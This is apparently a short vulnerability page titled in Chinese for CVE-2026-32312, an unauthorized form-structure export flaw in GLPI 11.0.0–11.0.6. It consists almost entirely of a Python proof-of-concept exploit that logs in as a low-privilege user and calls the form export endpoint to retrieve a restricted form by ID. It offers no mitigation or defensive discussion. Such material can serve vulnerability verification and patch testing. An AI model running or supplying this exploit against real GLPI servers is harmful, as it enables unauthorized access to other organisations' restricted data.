CVE-2026-32312 GLPI表单结构未授权访问漏洞

import requests def exploit_glpi_cve(target, username, password, form_id): """ PoC for CVE-2026-32312 Exploits unauthorized form structure export in GLPI 11.0.0-11.0.6 """ session = requests.Session() # 1. Authentication login_url = f"{target}/front/login.php" auth_data = { "login_name": username, "login_password": password, "submit": "Post" } session.post(login_url, data=auth_data) # 2. Exploit Attempt - Export Unauthorized Form # Note: Endpoint might vary based on GLPI configuration, typically /front/form.form.php export_url = f"{target}/front/form.form.php" params = { "action": "export", # Specific action to trigger the export "id": form_id # Target form ID that the user should not have access to } response = session.get(export_url, params=params) if response.status_code == 200 and "structure" in response.text: print(f"[+] Successfully exported form ID {form_id}:") print(response.text[:500]) # Print first 500 chars else: print(f"[-] Failed to export form or access denied.") if __name__ == "__main__": TARGET = "http://127.0.0.1/glpi" USER = "low_priv_user" PASS = "user_pass" TARGET_FORM_ID = "2" # ID of a restricted form exploit_glpi_cve(TARGET, USER, PASS, TARGET_FORM_ID)